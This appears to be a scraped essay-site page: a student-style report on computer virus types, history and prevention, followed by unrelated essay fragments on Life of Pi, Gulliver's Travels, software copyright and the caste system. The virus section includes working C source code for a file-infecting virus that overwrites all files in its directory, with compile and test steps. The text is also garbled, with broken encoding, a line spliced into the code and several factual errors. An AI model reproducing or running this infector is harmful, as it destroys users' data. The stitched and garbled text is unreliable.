the other files that already exist. In other words, in order to carry out their infection routines, companion viruses can wait in memory until a program is run (resident viruses) or act immediately by making copies of themselves (direct action viruses). Some examples include: Stator, Asimov.1539, and Terrax.1069 Encrypted Viruses This type of viruses consists of encrypted malicious code, decrypted module. The viruses use encrypted code technique which make antivirus software hardly to detect them. The antivirus program usually can detect this type of viruses when they try spread by decrypted themselves. Logic Bomb Viruses Logic Bomb Viruses or sometime know as Time Bomb is small piece of malicious code or program which have ability to insert itself to other programs or system and perform specific action when the conditions are met (most Logic Bomb developers use date as conditions). The Logic Bomb does nothing until pre-programmed date is reached. Logic Bomb can perform any malicious things based on pre-programmed within it such as deleting file or displaying unwanted message or lock program and so on. They are not considered viruses because they do not replicate. They are not even programs in their own right but rather camouflaged segments of other programs. Their objective is to destroy data on the computer once certain conditions have been met. Logic bombs go undetected until launched, and the results can be destructive. Macro Viruses When talking about Macro Viruses, we refer to viruses which infect macro of other applications such as Microsoft Word, Microsoft Excel. The viruses are written in a macro language and use it to distribute themselves. Macro viruses will run automatically when user open document. Usually this type of virus cause harmless to your computer, but instead they are annoying by automatically inserting undesired texts or symbols. Example of Macro Virus: WM.Concept, it was introduced in 1995 the first macro virus that spread through Microsoft Word. And another popular one is Melissa that is first found in 1999, it also can spread through MS Word, Excel and Outlook. Multipartite Viruses Multipartite Viruses is type of viruses which infect user computer on both part boot sector and executable files and programs at the same time, with this condition, the viruses spread faster than boot sector or file infector alone. It changes the paths that indicate the location of a file. By executing a program (file with the extension .EXE or .COM) which has been infected by a virus, you are unknowingly running the virus program, while the original file and program have been previously moved by the virus. Once infected it becomes impossible to locate the original files Example: Ghost ball, the first multipartite virus. Nonresident Viruses This type of viruses is similar to Resident Viruses by using replication of module. Besides that, Nonresident Viruses role as finder module which can infect to files when it found one (it will select one or more files to infect each time the module is executed). Polymorphic Viruses: Polymorphic Virus is similar to encrypted viruses; it can infect files with an encrypted copy of itself. The viruses use difference technique to replicate themselves. Some polymorphic viruses are hardly to detect by antivirus software using virus signature based, because it do not remain any identical after replication. Polymorphic viruses encrypt or encode themselves in a different way (using different algorithms and encryption keys) every time they infect a system. This makes it impossible for anti-viruses to find them using string or signature searches (because they are different in each encryption) and also enables them to create a large number of copies of themselves. Examples include: Elkern, Marburg, Satan Bug, and Tuareg. Resident Viruses Resident Viruses or known as Memory Resident Viruses is malicious module. The viruses can replicate module and installing malicious code into computer memory (RAM). The viruses are commonly classified into two main categories: Fast Infectors and Slow Infectors. This type of virus is a permanent which dwells in the RAM memory. From there it can overcome and interrupt all of the operations executed by the system: corrupting files and programs that are opened, closed, copied, renamed etc. Examples include: Randex, CMJ, Meve, and MrKlunky. Stealth Viruses / Worm Stealth Viruses is some sort of viruses which try to trick anti-virus software by intercepting its requests to the operating system. It has ability to hide itself from some antivirus software programs. Therefore, some antivirus program cannot detect them. A worm is a program very similar to a virus; it has the ability to self-replicate, and can lead to negative effects on your system and most importantly they are detected and eliminated by antivirus. Examples of worms include: PSWBugbear.B, Lovgate.F, Trile.C, Sobig.D, and Mapson. Section 1.3.1 Research Question 1. How did the diff. types of computer Viruses Created when, where, by whom? 2. How are they attack/work on the end user computers? 3. How we protect ourself from such type of computer viruses? 4. What will be the future trend of computer viruses? Section 1.3.2 Research Aim The research aims at understanding how Computer viruses is evolving and attacking on day to day computer business Section 1.3.3 Research Objective The objective of this research is to help to the User of Computer to make decisions on the how to solved the problem created because of computer viruses from a long time perspectives.Also to develop contrasting measure between the creator of computer viruses and the end user of the computer. Section 1.3.4 Research Hypothesis Many of the viruses that have had the greatest impact have been intended to be totally benign. Unfortunately, small errors in program code have led to disastrous results. The most frequent such error is when a virus program, which was intended to infect a computer only once, doesnt realize it has already done its job, and keeps infecting the computer over and over. This was the problem with the infamous virus released at Cornell University on November 2, 1988, by Robert Morris, Jr., which rapidly brought the entire Internet system of computers to its knees. Where the small drain of a single virus can pass unnoticed by a computer system, millions of viruses can fill every bit of memory and use up every cycle of computing power of the computer they have invaded. The hidden message revealed by the widely publicized cases of infection by computer viruses is that existing computer systems of all sorts could be making very large errors that have never been recognized. This means the computer systems that take care of every aspect of the worlds financial life, computer systems that keep personal records on you and me, computer systems that support the military capabilities of the super-powers. Good system developers test systems thoroughly before installation, attempting to test every possible logic path. However, with a system of any reasonable level of complexity, this is an impossible task, so a major system is likely only to have been thoroughly tested for frequently occurring events. Its the infrequently occurring events, and especially the unforeseen combinations of events, that are the bane of systems developers. And those are also the areas where Poincares admonition is most likely to come into play. Chapter 2 Literature Review What is Computer virus? Term was first used by Fred Cohen in 1984. A computer virus is a small program a computer virus is a computer program that can copy itself and infect a computer. The term virus is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer. As stated above, the term computer virus is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most root kits, spyware, dishonest adware and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that appears harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer systems data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to them. Some viruses do nothing beyond reproducing themselves History of Computer viruses The first academic work on the theory of computer viruses (although the term computer virus was not invented at that time) was done by John von Neumann in 1949 that held lectures at the University of Illinois about the Theory and Organization of Complicated Automata. The work of von Neumann was later published as the Theory of self-reproducing automata In his essay von Neumann postulated that a computer program could reproduce. In 1972 Veith Risak published his article Selbstreproduzierende Automaton mitt minimaler Informationsà ¼bertragung (Self-reproducing automata with minimal information exchange). The article describes a fully functional virus written in assembler language for a SIEMENS 4004/35 computer system. In 1984 Fred Cohen from the University of Southern California wrote his paper Computer Viruses Theory and Experiments It was the first paper to explicitly call a self-reproducing program a virus; a term introduced by his mentor Leonard Adelman. An article that describes useful virus functionalities was published by J. B. Gunn under the title Use of virus functions to provide a virtual APL interpreter under user control in 1984. Science Fiction The Terminal Man, a science fiction novel by Michael Crichton (1972), told (as a sideline story) of a computer with telephone modem dialing capability, which had been programmed to randomly dial phone numbers until it hit a modem that is answered by another computer. It then attempted to program the answering computer with its own program, so that the second computer would also begin dialing random numbers, in search of yet another computer to program. The program is assumed to spread exponentially through susceptible computers. The actual term virus was first used in David Gerrolds 1972 novel, When HARLIE Was One. In that novel, a sentient computer named HARLIE writes viral software to retrieve damaging personal information from other computers to blackmail the man who wants to turn him off. Virus programs History The Creeper virus was first detected on ARPANET, the forerunner of the Internet, in the early 1970s. Creeper was an experimental self-replicating program written by Bob Thomas at BBN Technologies in 1977 Creeper used the ARPANET to infect DEC PDP-10 computers running the TENEX operating system. Creeper gained access via the ARPANET and copied itself to the remote system where the message, Im the creeper, catch me if you can! was displayed. The Reaper program was created to delete Creeper. A program called Elk Cloner was the first computer virus to appear in the wild that is, outside the single computer or lab where it was created. Written in 1981 by Richard Skeena, it attached itself to the Apple DOS 3.3 operating system and spread via floppy disk. This virus, created as a practical joke when Skeena was still in high school, was injected in a game on a floppy disk. On its 50th use the Elk Cloner virus would be activated, infecting the computer and displaying a short poem beginning Elk Cloner: The program with a personality. The first PC virus in the wild was a boot sector virus dubbed (c) Brain, created in 1986 by the Farooq Alvin Brothers in Lahore, Pakistan, reportedly to deter piracy of the software they had written. Before computer networks became widespread, most viruses spread on removable media, particularly floppy disks. In the early days of the personal computer, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk boot sector, ensuring that they would be run when the user booted the computer from the disk, usually inadvertently. PCs of the era would attempt to boot first from a floppy if one had been left in the drive. Until floppy disks fell out of use, this was the most successful infection strategy and boot sector viruses were the most common in the wild for many years. Traditional computer viruses emerged in the 1980s, driven by the spread of personal computers and the resultant increase in BBS, modem use, and software sharing. Bulletin board-driven software sharing contributed directly to the spread of Trojan horse programs, and viruses were written to infect popularly traded software. Macro viruses have become common since the mid-1990s. Most of these viruses are written in the scripting languages for Microsoft programs such as Word and Excel and spread throughout Microsoft Office by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most could also spread to Macintosh computers. Although most of these viruses did not have the ability to send infected e-mail, those viruses which did take advantage of the Microsoft Outlook COM interface. Some old versions of Microsoft Word allow macros to replicate themselves with additional blank lines. If two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a mating of the two and would likely be detected as a virus unique from the parents. A virus may also send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source) follows the link to the website, the virus hosted at the site may be able to infect this new computer and continue propagating. Viruses that spread using cross-site scripting were first reported in 2002, and were academically demonstrated in 2005. There have been multiple instances of the cross-site scripting viruses in the wild, exploiting websites such as MySpace and Yahoo. Time line of computer viruses: In the early years floppy disks (removable media) were in fact the in the late 80s. Ultimately of course, the internet in all its forms became the major source of infection. YEAR VIRUS NAME BY WHOM TYPE 1982 ELK CLONER RICH SKRENTA 1983 COMPUTER VIRUS FRED COHEN 1986 BRAIN PAKISTAN BOOT SECTOR 1988 ARPANET ROBBERT MORRIS ENCRYPTED 1989 AIDS TROJAN 1990 ANTI-VIRUS S/W 1991 NON-ANTI S/W SYMANTEC POLYMORPHIC 1994 HOAX 1995 WORD 1999 MELLISA DAVID L. SMITH 2000 I LOVE U FILIPINE STUDENT 2001 CODE RED WORM 2003 SLAMMER 2004 MY DOON/NOVARG 2005 COMMWARRIOR-A RUSSIA CELL PHONE 2008 CONFICKER 2009 CYNER ATTACK W32.DOZOR 2010 STUNEXT TROJAN 2011 HTTP BOT BLACK SHADES Programming language used for creating Computer Viruses: C C++ Assembler PHP JAVA SCRIPT VB SCRIPT MICRO LANGUAGE/CODE How Computer Viruses Work As youll see in the next section, the term virus was applied to this type of software very early in its history. Its an apt metaphor, because a computer virus is, in many ways, similar to the biological Viruses that attack human bodies. A biological virus isnt truly a living, independent entity; as biologists will tell you, a virus is nothing more than a fragment of DNA sheathed in a protective jacket. It reproduces by injecting its DNA into a host cell. The DNA then uses the host cells normal mechanisms to reproduce itself. A computer virus is like a biological virus in that it also isnt an independent entity; it must Piggyback on a host (another program or document) in order to propagate. How a virus infects your computer 1. Virus program is launched. 2. Virus code is loaded into PC memory. 3. Virus delivers its destructive payload. 4. Virus copies itself to other programs. How Computer Viruses Work 5 If all a virus did was copy itself to additional programs and computers, there would be little Harm done, save for having all our programs get slightly larger (thanks to the virus code). Unfortunately, most viruses not only replicate themselves, they also perform other operations-many of which are wholly destructive. A virus might, for example, delete certain files on your computer. It might overwrite the boot sector of your hard disk, making the disk inaccessible. It might write Messages on your screen, or cause your system to emit rude noises. It might also hijack your E-mail program and use the program to send it to all your friends and colleagues, thus replicating itself to a large number of PCs. Viruses that replicate themselves via e-mail or over a computer network cause the subsidiary Problem of increasing the amount of Internet and network traffic. These fast-replicating viruses Called worms can completely overload a company network, shutting down servers and forcing ten s of thousands of users offline. While no individual machines might be damaged, this type of Communications disruption can be quite costly. As you might suspect, most viruses are designed to deliver their payload when theyre first executed. However, some viruses wont attack until specifically prompted, typically on a predetermined Date or day of the week. They stay on your system, hidden from sight like a sleeper Agent in a spy novel, until theyre awoken on a specific date; then they go about the work them were programmed to do. In short, viruses are nasty little bits of computer code, designed to inflict as much damage As possible, and to spread to as many computers as possible-a particularly vicious combination. How to Create a Computer Virus? This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Heres the source code of the virus program. #include #include #include #include #include #include FILE *virus,*host; int done, a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(*.*,ffblk,0); while(!done) { virus=fopen(_argv[0],r3. Virus delivers its destructive payload. b); host=fopen(ffblk.ff_name,rb+); if(host==NULL) goto next; x=89088; printf(Infecting %sn,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(ffblk); } } printf(DONE! (Total Files Infected= %d),a); end=clock(); printf(TIME TAKEN=%f SECn, (end-st)/CLK_TCK); getch(); } COMPILING METHOD: USING BORLAND TC++ 3.0 (16-BIT): 1. Load the program in the compiler, press Alt-F9 to compile 2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER) 3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR ITS SIZE) 4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT) 5. Once again follow the STEP 1 STEP 2.Now the generated EXE File is ready to infect USING BORLAND C++ 5.5 (32-BIT) : 1. Compile once, note down the generated EXE file length in bytes 2. Change the value of X in source code to this length in bytes 3. Recompile it. The new EXE file is ready to infect HOW TO TEST: 1. Open new empty folder 2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH PASTING IN THE NEW FOLDER) 3. Run the virus EXE file there you will see all the files in the current directory get infected. 4. All the infected files will be ready to re-infect. Why Viruses Exist Computer viruses, unlike biological viruses, dont spring up out of now here-theyre created. By people. And the people-programmers and developers, typically-who create computer viruses Know what theyre doing. These code writers deliberately create programs that they know will Wreak havoc on huge numbers of computer users. The question is why? It takes some degree of technical skill to create a virus. To that end, creating a computer Virus is no different than creating any other computer application. Any computer programmer or Developer with a minimal amount of skill can create a virus-all it takes is knowledge of a programming Language, such as C, Visual Basic, or Java, or a macro language, such as VBA. By using a build your own virus program-of which there are several available, Via the Internet underground. So, by definition, a virus writer is a person with a certain amount of technical expertise. But Instead of using that expertise productively, virus writers use it to generate indiscriminate mayhem among other computer users. This havoc-wreaking is, in almost all instances, deliberate. Virus writers intend to be destructive. They get some sort of kick out of causing as much damage as possible, from the relative Anonymity of their computer keyboards. Understanding Computer Viruses In addition, some developers create viruses to prove their technical prowess. Among certain Developers, writing a successful virus provides a kind of bragging right, and demonstrates, in some warped fashion, that the writer is especially skilled. Unfortunately, the one attribute that virus writers apparently lack is ethical sense. Virus programs can be enormously destructive, and it takes a peculiar lack of ethics to deliberately perpetrate such destruction on such a wide scale. In the end, a virus writer is no better than a common vandal. Except for the technical expertise required, the difference between throwing a rock through a window and destroying PC files via a virus is minimal. Some people find pleasure in destruction, and in our high-tech age, such Pleasure can come from writing destructive virus code. What You Can Do About Computer Viruses Theres very little you can do, on a personal level, to discourage those high-tech vandals who create Virus programs. There are plenty of laws already on the books that can be used to prosecute these criminals, and such criminal investigations-and prosecutions-have become more common in recent years. However, as with most criminal activity, the presence of laws doesnt always mean there are fewer criminals; the truth is, theres a new batch of virus writers coming online every day. All of which means that you cant rely on anyone else to protect you from these virus-writing Criminals. Ultimately, you have to protect yourself. Reducing Your Chances of Infection To make yourself less of a target for virus infection, take the following steps: Restrict your file downloading to known or secure sources. The surest way to catch a virus is to download an unknown file from an unknown site; try not to put you at risk like this unless you absolutely have to. Dont open any e-mail attachments you werent expecting. The majority of viruses today arrive in your mailbox as attachments to e-mail messages; resist the temptation to open or view every file attachment you receive. Use an up-to-date anti-virus program or service. Antivirus programs work; they scan the files on your computer (as well as new files you download and e-mail messages you receive) and check for any previously identified viruses. Theyre a good first line of defence, As long as you keep the programs up-to-date with information about the very latest viruses and most antivirus programs make it easy to download updates. Enable macro virus protection in all your applications. Most current Microsoft Applications include special features that keep the program from running unknown macros and thus prevent your system from being infected by macro viruses. Create backup copies of all your important data. If worse comes to worst and your Entire system is infected; you may need to revert to no infected versions of your most critical Files. You cant do this unless you plan ahead and back up your important data. Preventing Viruses Attacks. Diagnosing a Virus Infection How do you know if your computer has been infected with a virus? In short, if it starts acting Funny-doing anything it didnt do before-then a probable cause is some sort of computer Virus. Here are some symptoms to watch for: à ¢Ã¢â€š ¬Ã‚ ¢ Programs quit working or freeze up. à ¢Ã¢â€š ¬Ã‚ ¢ Documents become inaccessible. à ¢Ã¢â€š ¬Ã‚ ¢ Computer freezes up or wont start properly. à ¢Ã¢â€š ¬Ã‚ ¢ The CAPS LOCK key quits working-or works intermittently. à ¢Ã¢â€š ¬Ã‚ ¢ Files increase in size. à ¢Ã¢â€š ¬Ã‚ ¢ Frequent error messages appear onscreen. à ¢Ã¢â€š ¬Ã‚ ¢ Strange messages or pictures appear onscreen. à ¢Ã¢â€š ¬Ã‚ ¢ Your PC emits strange sounds. à ¢Ã¢â€š ¬Ã‚ ¢ Friends and colleagues inform you that theyve received strange e-mails from you, that you dont remember sending. How to Catch a Virus. Recovering from a Virus Attack If youre unfortunate enough to be the victim of a virus attack, your options narrow. You have to find the infected files on your computer, and then either dies-infects them (by removing the virus Code) or delete them-hopefully before the virus has done any permanent damage to your system. You dont, however, have to give up and throw your computer away. Almost all viruses can be recovered from-some quite easily. All you need is a little information, and the right tools. The right tools include one of the major antivirus programs discussed in Anti-Virus Software and Services. These programs-such as Norton Antivirus

Summary of Life of Pi by Yann Martel Essay -- essays research papers

The novel, Life of Pi, by Yann Martel, is about a young boy, Pi, and his survival on a lifeboat drifting in the Pacific Ocean. It is written in three sections, the second part, spanning from chapters 37 to 94, concerns the events on the lifeboat and what Pi experiences. This part contrasts part 1 as Pi is not alone, the only human, left to dwell in his own thoughts and be self-sufficient. Whereas in part 1, Pi is living in India, surrounded by his family and friends, not alone in the slightest. To sustain interest in this middle section of the novel, Martel uses a variety of techniques. This is needed as the reader already knows that Pi survives the ordeal, as confirmed in section 1, therefore the journey in the Pacific must be fascinating to keep the readers interest. An example of this would be Pi?s decision to tame the tiger, Richard Parker, in which was trapped on the lifeboat with him. This occurred in chapter 57 of the novel. The task that Pi sets out to achieve creates suspense, as there is the ever-present danger of the wild tiger. ?The first training session was over. ...

Utopia :: essays research papers

Behold, after above six Months Warning, I cannot learn that my Book hath produced one single Effect according to mine Intentions: ... And, it must be owned that seven Months were a sufficient Time to correct every Vice and Folly to which Yahoos are subject, if their Natures had been capable of the least Disposition to Virtue or Wisdom: (Letter;3) That he had good Reasons to think you were a Big-Endian in your heart; and as Treason begins in the Heart, before it appears in Overt-Acts, so he accused you as a Traytor on that Account, and therefore insisted you should be put to death. (I:7;22) He knew no reason why those who entertained opinions prejudicial to the public should be obliged to change, and should not be obliged to conceal them. And as it was tyranny in any government to require the first, so it was weakness not to enforce the second; for a man may be allowed to keep poisons in his closet, but not to send them about for cordials. (II:6;15) 1. Author: Jonathan Swift Titles of some other works by the same author: Tale of a Tub, The Battle of the Books 2. Title: Gulliver's Travels Books (I & II) Explain the Title: The book tells about the travels of Gulliver. 3. Date of publication: 1977 4.Edition:Everyman First published: 1726 5. Genre: Four satirical stories in prose. 6. Themes: A satire, in the first book he satirizes the English politics, which are symbolized by the inhabitants of Lilliput. In the second book Gulliver symbolizes the English people. He tells the king of Brobdingnag about the Daily life in England. The King tells him as follows: ' By what I have gathered from your own relation ... I cannot but conclude the bulk of your natives to be the most pernicious race of little odious vermin that nature ever suffered to crawl upon the surface of earth'. 7. List of main characters and description of them: - Lemuel Gulliver: a married man, who has studied medicines and works as a ship surgeon. He likes to travel a lot because he is very interested in other country's and their cultures. 8. Narrative Technique: Narrative prose. 9. a) Time lapse: Liliput à ±1 year Brobdingnag à ±2 years b)In what period is the story situated? 18th century. 10. Style:Language is quite difficult, old-English. 11. Stray notes:none 12. What is your own opinion of the work? I found the book quite difficult,but I liked the satirical aspect of the stories. 13. Short summary: On his first voyage Gulliver is shipwrecked. He comes in Lilliput, a land were all the people are twelf times as short as

Software Ethics :: Copyright Plagiarism Technology Essays

Software Ethics INTRODUCTION Webster dictionary defines copyright as â€Å"the exclusive legal right to reproduce, publish, and sell the matter and form (as of a literary, musical, or artistic work). The copyright law extended to software and technologies aims at protecting the artists who created the product. The owner of the product has the exclusive right to distribute or reproduce his work. To be qualified for the protection, the work has to be original and in a â€Å"concrete medium of expression† [1]. In every product that we use daily, there is already a copyrighted law protecting it. We can’t simply write the same book and call it a different name. That’s plagiarism and violating the copyright law. The creator of a software technology patented and copyrighted his work, and he can take violators to court for stealing his idea, and reproducing his work without his permission. Why? Simply put, U.S Copyright act, 17 U.S.C Sections 101-810, protects the owner of the product . We should be thankful that we live in a country where our inventions and ideas are protected from theft and being copied. In other countries, such as Vietnam, artists are not so lucky. For many years, songs artists didn’t make a lot of money, and their songs are being sung everywhere, by all the singers. It’s like a free song, and anyone could make money off of that. That’s the precedent. Who would want to create the product, and then turn around in split seconds only to have it posted it on the web or reproduced for free. The work is wasted, the people are discouraged, and the country is ailing. Now, the artist can now protect his work. So Vietnamese, living in America, enjoy the same rights and privileges as Americans. Countries that don’t have copyright law or fail to truly protect the artists of a product will continue to struggle economically, politically, and socially. Viet Nam has improved and been more developed over the past decades. The country is beginning to see foreign investors come in and utilize the resources such as the talents, the cheap labor and materials. However, the country is not flourishing other Asians because of the lack of copyright laws, ignorance, and government monopoly and corruption.

Caste System

A Day in Life: Case system Narrative My feet, burning walking through the villages while the higher caste people Just stare at us, as if we are animals that have no home. My son is screaming as he is sick from the polluted water we have to drink from. The higher caste people drink from clean fresh wells and laugh at us as we drink from the local pond filled with animal feces. There isn't much hope for our kind of people, but for us it's all about slim chances. My people help each other in times of need, the same caste helps the people inside f it, but requesting help from another caste is getting a guaranteed no.The different castes live like they are different from each other as if we are both two different animals except we are like an ant and the Brahmin are like a tiger. We have different jobs, ways of life, and values. I wake up tired and exhausted and send my son to his job which is cleaning the town caste, he knows it's filthy but he knows we need every penny we can get. I hav e two Jobs; one is being a servant for a higher caste family, and cleaning high caste's houses. I work for 18 hours a day and receive below minimum wage for my Jobs.There is nothing we can do about it; we untouchables don't have any power and barely any if we do have any. We Just need to accept that we are not welcomed. Many of us tried to revolt and take what we deserve and some of us, like I Just accept we are treated so poorly. The protestors don't get very far, we might get one or two right gained but nothing to major. Most people are planning to revolt, but I'm a coward and I do not want to be downgraded in the next life. I believe ow we are treated is very poorly, but however I think we deserve much more respect than what we have now.We will always be the untouchables, and there is nothing we can do about it. But being treated this poorly is not human. The untouchables are treated with disrespect like we insult their views. I believe in reincarnation and how we untouchables ca me to live with a low reputation, so for now I hope to live my life and follow the Mandate of Heaven to come back with a much higher status. Each one of us are put into the spot we have now because of our previous actions, and I accept hat before my life as an untouchable I have done some bad things that brought me into this depressing life, but it's the way the game of life works.Life as an untouchable is the worst it ever gets, it's wrong to harm people in such a way and this will make those upper caste people who make us suffer untouchables, and then they can experience what we have to go through. I personally believe the Caste system is fair, and that everyone will eventually undergo a period of hardship. Life isn't easy, and everyone will eventually understand that. Caste System By rmarhaba